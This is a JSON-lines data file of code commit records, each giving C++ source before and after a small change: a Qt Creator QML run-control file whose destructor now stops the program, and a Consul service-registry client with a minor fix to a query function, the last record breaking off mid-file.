{"text":"<commit_before><commit_msg>Operand with prefix<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"qmlprojectruncontrol.h\"\n#include \"qmlprojectrunconfiguration.h\"\n#include \"qmlprojectconstants.h\"\n#include <coreplugin\/icore.h>\n#include <coreplugin\/modemanager.h>\n#include <projectexplorer\/projectexplorerconstants.h>\n#include <projectexplorer\/applicationlauncher.h>\n#include <utils\/environment.h>\n#include <utils\/qtcassert.h>\n\n#include <debugger\/debuggerrunner.h>\n#include <debugger\/debuggerplugin.h>\n#include <debugger\/debuggerconstants.h>\n#include <debugger\/debuggeruiswitcher.h>\n#include <debugger\/debuggerengine.h>\n#include <qmljsinspector\/qmljsinspectorconstants.h>\n\n#include <QDir>\n#include <QLabel>\n#include <QMessageBox>\n\nusing ProjectExplorer::RunConfiguration;\nusing ProjectExplorer::RunControl;\n\nnamespace QmlProjectManager {\nnamespace Internal {\n\nQmlRunControl::QmlRunControl(QmlProjectRunConfiguration *runConfiguration, QString mode)\n    : RunControl(runConfiguration, mode)\n{\n    Utils::Environment environment = Utils::Environment::systemEnvironment();\n\n    m_applicationLauncher.setEnvironment(environment.toStringList());\n    m_applicationLauncher.setWorkingDirectory(runConfiguration->workingDirectory());\n\n    m_executable = runConfiguration->viewerPath();\n    m_commandLineArguments = runConfiguration->viewerArguments();\n\n    connect(&m_applicationLauncher, SIGNAL(appendMessage(QString,bool)),\n            this, SLOT(slotError(QString, bool)));\n    connect(&m_applicationLauncher, SIGNAL(appendOutput(QString, bool)),\n            this, SLOT(slotAddToOutputWindow(QString, bool)));\n    connect(&m_applicationLauncher, SIGNAL(processExited(int)),\n            this, SLOT(processExited(int)));\n    connect(&m_applicationLauncher, SIGNAL(bringToForegroundRequested(qint64)),\n            this, SLOT(slotBringApplicationToForeground(qint64)));\n}\n\nQmlRunControl::~QmlRunControl()\n{\n}\n\nvoid QmlRunControl::start()\n{\n    m_applicationLauncher.start(ProjectExplorer::ApplicationLauncher::Gui, m_executable,\n                                m_commandLineArguments);\n\n    emit started();\n    emit appendMessage(this, tr(\"Starting %1 %2\").arg(QDir::toNativeSeparators(m_executable),\n                                                      m_commandLineArguments.join(QLatin1String(\" \"))), false);\n}\n\nRunControl::StopResult QmlRunControl::stop()\n{\n    m_applicationLauncher.stop();\n    return StoppedSynchronously;\n}\n\nbool QmlRunControl::isRunning() const\n{\n    return m_applicationLauncher.isRunning();\n}\n\nvoid QmlRunControl::slotBringApplicationToForeground(qint64 pid)\n{\n    bringApplicationToForeground(pid);\n}\n\nvoid QmlRunControl::slotError(const QString &err, bool isError)\n{\n    emit appendMessage(this, err, isError);\n    emit finished();\n}\n\nvoid QmlRunControl::slotAddToOutputWindow(const QString &line, bool onStdErr)\n{\n    emit addToOutputWindowInline(this, line, onStdErr);\n}\n\nvoid QmlRunControl::processExited(int exitCode)\n{\n    emit appendMessage(this, tr(\"%1 exited with code %2\").arg(QDir::toNativeSeparators(m_executable)).arg(exitCode), exitCode != 0);\n    emit finished();\n}\n\nQmlRunControlFactory::QmlRunControlFactory(QObject *parent)\n    : IRunControlFactory(parent)\n{\n}\n\nQmlRunControlFactory::~QmlRunControlFactory()\n{\n}\n\nbool QmlRunControlFactory::canRun(RunConfiguration *runConfiguration,\n                                  const QString &mode) const\n{\n    QmlProjectRunConfiguration *config = qobject_cast<QmlProjectRunConfiguration*>(runConfiguration);\n    if (mode == ProjectExplorer::Constants::RUNMODE) {\n        return config != 0;\n    } else if (mode == ProjectExplorer::Constants::DEBUGMODE) {\n        bool qmlDebugSupportInstalled = Debugger::DebuggerUISwitcher::instance()->supportedLanguages()\n                                        & Debugger::QmlLanguage;\n        return (config != 0) && qmlDebugSupportInstalled;\n    }\n\n    return false;\n}\n\nRunControl *QmlRunControlFactory::create(RunConfiguration *runConfiguration,\n                                         const QString &mode)\n{\n    QTC_ASSERT(canRun(runConfiguration, mode), return 0);\n\n    QmlProjectRunConfiguration *config = qobject_cast<QmlProjectRunConfiguration *>(runConfiguration);\n    RunControl *runControl = 0;\n    if (mode == ProjectExplorer::Constants::RUNMODE) {\n       runControl = new QmlRunControl(config, mode);\n    } else {\n        runControl = createDebugRunControl(config);\n    }\n    return runControl;\n}\n\nQString QmlRunControlFactory::displayName() const\n{\n    return tr(\"Run\");\n}\n\nQWidget *QmlRunControlFactory::createConfigurationWidget(RunConfiguration *runConfiguration)\n{\n    Q_UNUSED(runConfiguration)\n    return new QLabel(\"TODO add Configuration widget\");\n}\n\nProjectExplorer::RunControl *QmlRunControlFactory::createDebugRunControl(QmlProjectRunConfiguration *runConfig)\n{\n    Utils::Environment environment = Utils::Environment::systemEnvironment();\n    Debugger::DebuggerStartParameters params;\n    params.startMode = Debugger::StartInternal;\n    params.executable = runConfig->viewerPath();\n    params.qmlServerAddress = \"127.0.0.1\";\n    params.qmlServerPort = runConfig->qmlDebugServerPort();\n    params.qmlObserverAvailable = runConfig->qmlObserverAvailable();\n    params.processArgs = runConfig->viewerArguments();\n    params.processArgs.append(QLatin1String(\"-qmljsdebugger=port:\") + QString::number(runConfig->qmlDebugServerPort()));\n    params.workingDirectory = runConfig->workingDirectory();\n    params.environment = environment.toStringList();\n    params.displayName = runConfig->displayName();\n\n    Debugger::DebuggerRunControl *debuggerRunControl = Debugger::DebuggerPlugin::createDebugger(params, runConfig);\n    return debuggerRunControl;\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace QmlProjectManager\n\n<commit_msg>QmlProject: Stop program when exiting creator<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"qmlprojectruncontrol.h\"\n#include \"qmlprojectrunconfiguration.h\"\n#include \"qmlprojectconstants.h\"\n#include <coreplugin\/icore.h>\n#include <coreplugin\/modemanager.h>\n#include <projectexplorer\/projectexplorerconstants.h>\n#include <projectexplorer\/applicationlauncher.h>\n#include <utils\/environment.h>\n#include <utils\/qtcassert.h>\n\n#include <debugger\/debuggerrunner.h>\n#include <debugger\/debuggerplugin.h>\n#include <debugger\/debuggerconstants.h>\n#include <debugger\/debuggeruiswitcher.h>\n#include <debugger\/debuggerengine.h>\n#include <qmljsinspector\/qmljsinspectorconstants.h>\n\n#include <QDir>\n#include <QLabel>\n#include <QMessageBox>\n\nusing ProjectExplorer::RunConfiguration;\nusing ProjectExplorer::RunControl;\n\nnamespace QmlProjectManager {\nnamespace Internal {\n\nQmlRunControl::QmlRunControl(QmlProjectRunConfiguration *runConfiguration, QString mode)\n    : RunControl(runConfiguration, mode)\n{\n    Utils::Environment environment = Utils::Environment::systemEnvironment();\n\n    m_applicationLauncher.setEnvironment(environment.toStringList());\n    m_applicationLauncher.setWorkingDirectory(runConfiguration->workingDirectory());\n\n    m_executable = runConfiguration->viewerPath();\n    m_commandLineArguments = runConfiguration->viewerArguments();\n\n    connect(&m_applicationLauncher, SIGNAL(appendMessage(QString,bool)),\n            this, SLOT(slotError(QString, bool)));\n    connect(&m_applicationLauncher, SIGNAL(appendOutput(QString, bool)),\n            this, SLOT(slotAddToOutputWindow(QString, bool)));\n    connect(&m_applicationLauncher, SIGNAL(processExited(int)),\n            this, SLOT(processExited(int)));\n    connect(&m_applicationLauncher, SIGNAL(bringToForegroundRequested(qint64)),\n            this, SLOT(slotBringApplicationToForeground(qint64)));\n}\n\nQmlRunControl::~QmlRunControl()\n{\n    stop();\n}\n\nvoid QmlRunControl::start()\n{\n    m_applicationLauncher.start(ProjectExplorer::ApplicationLauncher::Gui, m_executable,\n                                m_commandLineArguments);\n\n    emit started();\n    emit appendMessage(this, tr(\"Starting %1 %2\").arg(QDir::toNativeSeparators(m_executable),\n                                                      m_commandLineArguments.join(QLatin1String(\" \"))), false);\n}\n\nRunControl::StopResult QmlRunControl::stop()\n{\n    m_applicationLauncher.stop();\n    return StoppedSynchronously;\n}\n\nbool QmlRunControl::isRunning() const\n{\n    return m_applicationLauncher.isRunning();\n}\n\nvoid QmlRunControl::slotBringApplicationToForeground(qint64 pid)\n{\n    bringApplicationToForeground(pid);\n}\n\nvoid QmlRunControl::slotError(const QString &err, bool isError)\n{\n    emit appendMessage(this, err, isError);\n    emit finished();\n}\n\nvoid QmlRunControl::slotAddToOutputWindow(const QString &line, bool onStdErr)\n{\n    emit addToOutputWindowInline(this, line, onStdErr);\n}\n\nvoid QmlRunControl::processExited(int exitCode)\n{\n    emit appendMessage(this, tr(\"%1 exited with code %2\").arg(QDir::toNativeSeparators(m_executable)).arg(exitCode), exitCode != 0);\n    emit finished();\n}\n\nQmlRunControlFactory::QmlRunControlFactory(QObject *parent)\n    : IRunControlFactory(parent)\n{\n}\n\nQmlRunControlFactory::~QmlRunControlFactory()\n{\n}\n\nbool QmlRunControlFactory::canRun(RunConfiguration *runConfiguration,\n                                  const QString &mode) const\n{\n    QmlProjectRunConfiguration *config = qobject_cast<QmlProjectRunConfiguration*>(runConfiguration);\n    if (mode == ProjectExplorer::Constants::RUNMODE) {\n        return config != 0;\n    } else if (mode == ProjectExplorer::Constants::DEBUGMODE) {\n        bool qmlDebugSupportInstalled = Debugger::DebuggerUISwitcher::instance()->supportedLanguages()\n                                        & Debugger::QmlLanguage;\n        return (config != 0) && qmlDebugSupportInstalled;\n    }\n\n    return false;\n}\n\nRunControl *QmlRunControlFactory::create(RunConfiguration *runConfiguration,\n                                         const QString &mode)\n{\n    QTC_ASSERT(canRun(runConfiguration, mode), return 0);\n\n    QmlProjectRunConfiguration *config = qobject_cast<QmlProjectRunConfiguration *>(runConfiguration);\n    RunControl *runControl = 0;\n    if (mode == ProjectExplorer::Constants::RUNMODE) {\n       runControl = new QmlRunControl(config, mode);\n    } else {\n        runControl = createDebugRunControl(config);\n    }\n    return runControl;\n}\n\nQString QmlRunControlFactory::displayName() const\n{\n    return tr(\"Run\");\n}\n\nQWidget *QmlRunControlFactory::createConfigurationWidget(RunConfiguration *runConfiguration)\n{\n    Q_UNUSED(runConfiguration)\n    return new QLabel(\"TODO add Configuration widget\");\n}\n\nProjectExplorer::RunControl *QmlRunControlFactory::createDebugRunControl(QmlProjectRunConfiguration *runConfig)\n{\n    Utils::Environment environment = Utils::Environment::systemEnvironment();\n    Debugger::DebuggerStartParameters params;\n    params.startMode = Debugger::StartInternal;\n    params.executable = runConfig->viewerPath();\n    params.qmlServerAddress = \"127.0.0.1\";\n    params.qmlServerPort = runConfig->qmlDebugServerPort();\n    params.qmlObserverAvailable = runConfig->qmlObserverAvailable();\n    params.processArgs = runConfig->viewerArguments();\n    params.processArgs.append(QLatin1String(\"-qmljsdebugger=port:\") + QString::number(runConfig->qmlDebugServerPort()));\n    params.workingDirectory = runConfig->workingDirectory();\n    params.environment = environment.toStringList();\n    params.displayName = runConfig->displayName();\n\n    Debugger::DebuggerRunControl *debuggerRunControl = Debugger::DebuggerPlugin::createDebugger(params, runConfig);\n    return debuggerRunControl;\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace QmlProjectManager\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"include\/consul_admin.h\"\n\n\/\/Global writedata instantiation to store HTTP Callbacks\nstd::string writedata;\n\n\/\/----------------------------HTTP Callbacks----------------------------------\/\/\n\n\/\/This is the callback that gets called when we recieve the response to the\n\/\/Get Curl Request\nsize_t writeCallback(char * buf, size_t size, size_t nmemb, void* up)\n{\n\n  logging->debug(\"CONSUL: HTTP Query Callback Triggered\");\n\n\/\/Put the response into a string\nfor (int c = 0; c<size*nmemb; c++)\n{\n\twritedata.push_back(buf[c]);\n}\n\nreturn size*nmemb;\n}\n\n\/\/--------------------------------Service-------------------------------------\/\/\n\nService::Service()\n{\n  id=\"\";\n  name=\"\";\n  address=\"\";\n  port=\"\";\n}\n\nService::Service(std::string new_id, std::string new_name)\n{\n  id=new_id;\n  name=new_name;\n  address=\"\";\n  port=\"\";\n}\n\nService::Service(std::string new_id, std::string new_name, std::string new_address, std::string new_port)\n{\n  id=new_id;\n  name=new_name;\n  address=new_address;\n  port=new_port;\n}\n\nService::Service(std::string new_id, std::string new_name, std::string new_address, std::string new_port, std::vector<std::string> new_tags)\n{\n  id=new_id;\n  name=new_name;\n  address=new_address;\n  port=new_port;\n  tags=new_tags;\n}\n\nstd::string Service::to_json()\n{\n  logging->debug(\"CONSUL: Service to JSON method Called:\");\n  logging->debug(id);\n\n  std::string id_key = \"ID\";\n  std::string name_key = \"Name\";\n  std::string tags_key = \"Tags\";\n  std::string addr_key = \"Address\";\n  std::string port_key = \"Port\";\n\n  std::string json_str = \"{\\\"\" + id_key + \"\\\": \\\"\" + id + \"\\\", \\\"\" +\n    name_key + \"\\\": \" + name + \"\\\", \\\"\" +\n      tags_key + \"\\\": [\\\"\" + tags[0] + \"\\\"\";\n\n  for (int i=1; i<num_tags(); i++) {\n    json_str = json_str + \", \\\"\" + tags[i] + \"\\\"\";\n  }\n\n  json_str = json_str + \"], \\\"\" + addr_key + \"\\\": \\\"\" + address + \"\\\"\" +\n    \", \\\"\" + port_key + \"\\\": \" + port + \"}\";\n\n  logging->debug(json_str);\n\n  return json_str;\n\n  \/\/Initialize the string buffer and writer\n  \/\/ rapidjson::StringBuffer s;\n  \/\/ rapidjson::Writer<rapidjson::StringBuffer> writer(s);\n  \/\/\n  \/\/ \/\/Start writing the object\n  \/\/\n  \/\/ writer.StartObject();\n  \/\/\n  \/\/ writer.Key(\"ID\");\n  \/\/ std::string id = id;\n  \/\/ writer.String( id.c_str(), (rapidjson::SizeType)id.length() );\n  \/\/\n  \/\/ writer.Key(\"Name\");\n  \/\/ std::string name = name;\n  \/\/ writer.String( name.c_str(), (rapidjson::SizeType)name.length() );\n  \/\/\n  \/\/ writer.Key(\"Tags\");\n  \/\/ std::string tag;\n  \/\/ writer.StartArray();\n  \/\/ for (int i=0; i<num_tags(); i++) {\n  \/\/   tag = tags[i];\n  \/\/   writer.String( tag.c_str(), (rapidjson::SizeType)tag.length() );\n  \/\/ }\n  \/\/ writer.EndArray();\n  \/\/\n  \/\/ writer.Key(\"Address\");\n  \/\/ std::string addr = address;\n  \/\/ writer.String( addr.c_str(), (rapidjson::SizeType)addr.length() );\n  \/\/\n  \/\/ writer.Key(\"Port\");\n  \/\/ std::string p = port;\n  \/\/ writer.String( p.c_str(), (rapidjson::SizeType)p.length() );\n  \/\/\n  \/\/ writer.EndObject();\n  \/\/\n  \/\/ \/\/The Stringbuffer now contains a json message\n  \/\/ \/\/of the object\n\t\/\/ const char* ret_val = s.GetString();\n\t\/\/ std::string ret_string (ret_val);\n  \/\/ logging->debug(ret_string);\n  \/\/ return ret_string;\n\n}\n\n\/\/------------------------Consul Administrator--------------------------------\/\/\n\n\/\/Put together a url query segment with the consul address provided at initialization\nstd::string ConsulAdmin::build_url(std::string request_url_segment)\n{\n  std::string url = consul_addr;\n  url = url.append(request_url_segment);\n  return url;\n}\n\n\/\/Post a query to consul\nstd::string ConsulAdmin::query(std::string query_url)\n{\n  logging->info(\"CONSUL: Firing Query\");\n  logging->debug(query_url);\n  \/\/Clear the string that will hold the response data.\n  writedata.clear();\n  \/\/Get the URL\n  std::string url_string = build_url(query_url);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  curl_easy_setopt(ha->get_instance(), CURLOPT_WRITEFUNCTION, &writeCallback);\n\n  \/\/Send the HTTP Request\n  bool success = ha->get(url, timeout);\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Query Successful\");\n    return writedata;\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Query Failed\");\n    return \"\";\n  }\n}\n\n\/\/-------------------Service Registry Functions-------------------------------\/\/\n\nbool ConsulAdmin::register_service(Service& s)\n{\n  logging->debug(\"CONSUL: Registering Service\");\n  \/\/Get the URL\n  std::string url_string = build_url(\"\/v1\/agent\/service\/register\");\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Get the message body\n  std::string body_str = s.to_json();\n  const char * body_cstr = body_str.c_str();\n  char *body = new char[body_str.length() + 1];\n  strcpy(body, body_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->put(url, body, timeout);\n  delete body;\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Registration Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Registration Unsuccessful\");\n  }\n  return success;\n}\n\nbool ConsulAdmin::deregister_service(Service& s)\n{\n  \/\/Get the URL\n  std::string url_string = \"\/v1\/agent\/service\/deregister\/\";\n  url_string = url_string.append(s.get_id());\n  url_string = build_url(url_string);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->put(url, \"\", timeout);\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Deregistration Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Deregistration Unsuccessful\");\n  }\n  return success;\n}\n\n\/\/----------------------------Basic Queries-----------------------------------\/\/\n\nstd::string services()\n{\n  std::string url = \"\/v1\/agent\/services\";\n  return query(url);\n}\n\n\n\n\n\n\n\n\n\/\/--------------Configuration Key-Value Storage Functions---------------------\/\/\n\nbool ConsulAdmin::set_config_value(std::string key, std::string val)\n{\n  logging->info(\"CONSUL: Setting Configuration Value\");\n  logging->debug(key);\n  logging->debug(val);\n  \/\/Get the URL\n  std::string url_string = build_url(\"\/v1\/kv\/\");\n  url_string = url_string.append(key);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Get the message body\n  const char * body_cstr = val.c_str();\n  char *body = new char[val.length() + 1];\n  strcpy(body, body_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->put(url, body, timeout);\n  delete body;\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Config Value Set Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Config Value Set Unsuccessful\");\n  }\n  return success;\n}\n\nstd::string ConsulAdmin::get_config_value(std::string key)\n{\n  std::string url = \"\/v1\/kv\/\";\n  url = url.append(key);\n  return query(url);\n}\n\nbool ConsulAdmin::del_config_value(std::string key)\n{\n  logging->info(\"CONSUL: Deleting Configuration Value\");\n  logging->debug(key);\n  \/\/Get the URL\n  std::string url_string = build_url(\"\/v1\/kv\/\");\n  url_string = url_string.append(key);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->del(url, timeout);\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Config Value Delete Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Config Value Delete Unsuccessful\");\n  }\n  return success;\n}\n\n\n\n\n\/\/Appear to be depricated?\n\nstd::string ConsulAdmin::datacenters()\n{\n  return query(\"\/v1\/catalog\/datacenters\");\n}\n\nstd::string ConsulAdmin::nodes_dc(std::string data_center)\n{\n  std::string url = \"\/v1\/catalog\/nodes\";\n  if (!data_center.empty())\n  {\n    url = url.append(\"?dc=\");\n    url = url.append(data_center);\n  }\n  return query(url);\n}\n\nstd::string ConsulAdmin::services_dc(std::string data_center)\n{\n  std::string url = \"\/v1\/catalog\/services\";\n  if (!data_center.empty())\n  {\n    url = url.append(\"?dc=\");\n    url = url.append(data_center);\n  }\n  return query(url);\n}\n\nstd::string ConsulAdmin::nodes_service(std::string service)\n{\n  std::string url = \"\/v1\/catalog\/service\/\";\n  url = url.append(service);\n  return query(url);\n}\n\nstd::string ConsulAdmin::services_node(std::string node, std::string data_center)\n{\n  std::string url = \"\/v1\/catalog\/node\/\";\n  url = url.append(node);\n  if (!data_center.empty())\n  {\n    url = url.append(\"?dc=\");\n    url = url.append(data_center);\n  }\n  return query(url);\n}\n<commit_msg>Consul Fix<commit_after>#include \"include\/consul_admin.h\"\n\n\/\/Global writedata instantiation to store HTTP Callbacks\nstd::string writedata;\n\n\/\/----------------------------HTTP Callbacks----------------------------------\/\/\n\n\/\/This is the callback that gets called when we recieve the response to the\n\/\/Get Curl Request\nsize_t writeCallback(char * buf, size_t size, size_t nmemb, void* up)\n{\n\n  logging->debug(\"CONSUL: HTTP Query Callback Triggered\");\n\n\/\/Put the response into a string\nfor (int c = 0; c<size*nmemb; c++)\n{\n\twritedata.push_back(buf[c]);\n}\n\nreturn size*nmemb;\n}\n\n\/\/--------------------------------Service-------------------------------------\/\/\n\nService::Service()\n{\n  id=\"\";\n  name=\"\";\n  address=\"\";\n  port=\"\";\n}\n\nService::Service(std::string new_id, std::string new_name)\n{\n  id=new_id;\n  name=new_name;\n  address=\"\";\n  port=\"\";\n}\n\nService::Service(std::string new_id, std::string new_name, std::string new_address, std::string new_port)\n{\n  id=new_id;\n  name=new_name;\n  address=new_address;\n  port=new_port;\n}\n\nService::Service(std::string new_id, std::string new_name, std::string new_address, std::string new_port, std::vector<std::string> new_tags)\n{\n  id=new_id;\n  name=new_name;\n  address=new_address;\n  port=new_port;\n  tags=new_tags;\n}\n\nstd::string Service::to_json()\n{\n  logging->debug(\"CONSUL: Service to JSON method Called:\");\n  logging->debug(id);\n\n  std::string id_key = \"ID\";\n  std::string name_key = \"Name\";\n  std::string tags_key = \"Tags\";\n  std::string addr_key = \"Address\";\n  std::string port_key = \"Port\";\n\n  std::string json_str = \"{\\\"\" + id_key + \"\\\": \\\"\" + id + \"\\\", \\\"\" +\n    name_key + \"\\\": \" + name + \"\\\", \\\"\" +\n      tags_key + \"\\\": [\\\"\" + tags[0] + \"\\\"\";\n\n  for (int i=1; i<num_tags(); i++) {\n    json_str = json_str + \", \\\"\" + tags[i] + \"\\\"\";\n  }\n\n  json_str = json_str + \"], \\\"\" + addr_key + \"\\\": \\\"\" + address + \"\\\"\" +\n    \", \\\"\" + port_key + \"\\\": \" + port + \"}\";\n\n  logging->debug(json_str);\n\n  return json_str;\n\n  \/\/Initialize the string buffer and writer\n  \/\/ rapidjson::StringBuffer s;\n  \/\/ rapidjson::Writer<rapidjson::StringBuffer> writer(s);\n  \/\/\n  \/\/ \/\/Start writing the object\n  \/\/\n  \/\/ writer.StartObject();\n  \/\/\n  \/\/ writer.Key(\"ID\");\n  \/\/ std::string id = id;\n  \/\/ writer.String( id.c_str(), (rapidjson::SizeType)id.length() );\n  \/\/\n  \/\/ writer.Key(\"Name\");\n  \/\/ std::string name = name;\n  \/\/ writer.String( name.c_str(), (rapidjson::SizeType)name.length() );\n  \/\/\n  \/\/ writer.Key(\"Tags\");\n  \/\/ std::string tag;\n  \/\/ writer.StartArray();\n  \/\/ for (int i=0; i<num_tags(); i++) {\n  \/\/   tag = tags[i];\n  \/\/   writer.String( tag.c_str(), (rapidjson::SizeType)tag.length() );\n  \/\/ }\n  \/\/ writer.EndArray();\n  \/\/\n  \/\/ writer.Key(\"Address\");\n  \/\/ std::string addr = address;\n  \/\/ writer.String( addr.c_str(), (rapidjson::SizeType)addr.length() );\n  \/\/\n  \/\/ writer.Key(\"Port\");\n  \/\/ std::string p = port;\n  \/\/ writer.String( p.c_str(), (rapidjson::SizeType)p.length() );\n  \/\/\n  \/\/ writer.EndObject();\n  \/\/\n  \/\/ \/\/The Stringbuffer now contains a json message\n  \/\/ \/\/of the object\n\t\/\/ const char* ret_val = s.GetString();\n\t\/\/ std::string ret_string (ret_val);\n  \/\/ logging->debug(ret_string);\n  \/\/ return ret_string;\n\n}\n\n\/\/------------------------Consul Administrator--------------------------------\/\/\n\n\/\/Put together a url query segment with the consul address provided at initialization\nstd::string ConsulAdmin::build_url(std::string request_url_segment)\n{\n  std::string url = consul_addr;\n  url = url.append(request_url_segment);\n  return url;\n}\n\n\/\/Post a query to consul\nstd::string ConsulAdmin::query(std::string query_url)\n{\n  logging->info(\"CONSUL: Firing Query\");\n  logging->debug(query_url);\n  \/\/Clear the string that will hold the response data.\n  writedata.clear();\n  \/\/Get the URL\n  std::string url_string = build_url(query_url);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  curl_easy_setopt(ha->get_instance(), CURLOPT_WRITEFUNCTION, &writeCallback);\n\n  \/\/Send the HTTP Request\n  bool success = ha->get(url, timeout);\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Query Successful\");\n    return writedata;\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Query Failed\");\n    return \"\";\n  }\n}\n\n\/\/-------------------Service Registry Functions-------------------------------\/\/\n\nbool ConsulAdmin::register_service(Service& s)\n{\n  logging->debug(\"CONSUL: Registering Service\");\n  \/\/Get the URL\n  std::string url_string = build_url(\"\/v1\/agent\/service\/register\");\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Get the message body\n  std::string body_str = s.to_json();\n  const char * body_cstr = body_str.c_str();\n  char *body = new char[body_str.length() + 1];\n  strcpy(body, body_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->put(url, body, timeout);\n  delete body;\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Registration Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Registration Unsuccessful\");\n  }\n  return success;\n}\n\nbool ConsulAdmin::deregister_service(Service& s)\n{\n  \/\/Get the URL\n  std::string url_string = \"\/v1\/agent\/service\/deregister\/\";\n  url_string = url_string.append(s.get_id());\n  url_string = build_url(url_string);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->put(url, \"\", timeout);\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Deregistration Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Deregistration Unsuccessful\");\n  }\n  return success;\n}\n\n\/\/----------------------------Basic Queries-----------------------------------\/\/\n\nstd::string services()\n{\n  std::string url = \"\/v1\/agent\/services\";\n  std::string result = query(url);\n  return result;\n}\n\n\n\n\n\n\n\n\n\/\/--------------Configuration Key-Value Storage Functions---------------------\/\/\n\nbool ConsulAdmin::set_config_value(std::string key, std::string val)\n{\n  logging->info(\"CONSUL: Setting Configuration Value\");\n  logging->debug(key);\n  logging->debug(val);\n  \/\/Get the URL\n  std::string url_string = build_url(\"\/v1\/kv\/\");\n  url_string = url_string.append(key);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Get the message body\n  const char * body_cstr = val.c_str();\n  char *body = new char[val.length() + 1];\n  strcpy(body, body_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->put(url, body, timeout);\n  delete body;\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Config Value Set Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Config Value Set Unsuccessful\");\n  }\n  return success;\n}\n\nstd::string ConsulAdmin::get_config_value(std::string key)\n{\n  std::string url = \"\/v1\/kv\/\";\n  url = url.append(key);\n  return query(url);\n}\n\nbool ConsulAdmin::del_config_value(std::string key)\n{\n  logging->info(\"CONSUL: Deleting Configuration Value\");\n  logging->debug(key);\n  \/\/Get the URL\n  std::string url_string = build_url(\"\/v1\/kv\/\");\n  url_string = url_string.append(key);\n  const char * url_cstr = url_string.c_str();\n  char *url = new char[url_string.length() + 1];\n  strcpy(url, url_cstr);\n\n  \/\/Send the HTTP Request\n  bool success = ha->del(url, timeout);\n  delete url;\n  if (success)\n  {\n    logging->debug(\"CONSUL: Config Value Delete Successful\");\n  }\n  else\n  {\n    logging->debug(\"CONSUL: Config Value Delete Unsuccessful\");\n  }\n  return success;\n}\n\n\n\n\n\/\/Appear to be depricated?\n\nstd::string ConsulAdmin::datacenters()\n{\n  return query(\"\/v1\/catalog\/datacenters\");\n}\n\nstd::string ConsulAdmin::nodes_dc(std::string data_center)\n{\n  std::string url = 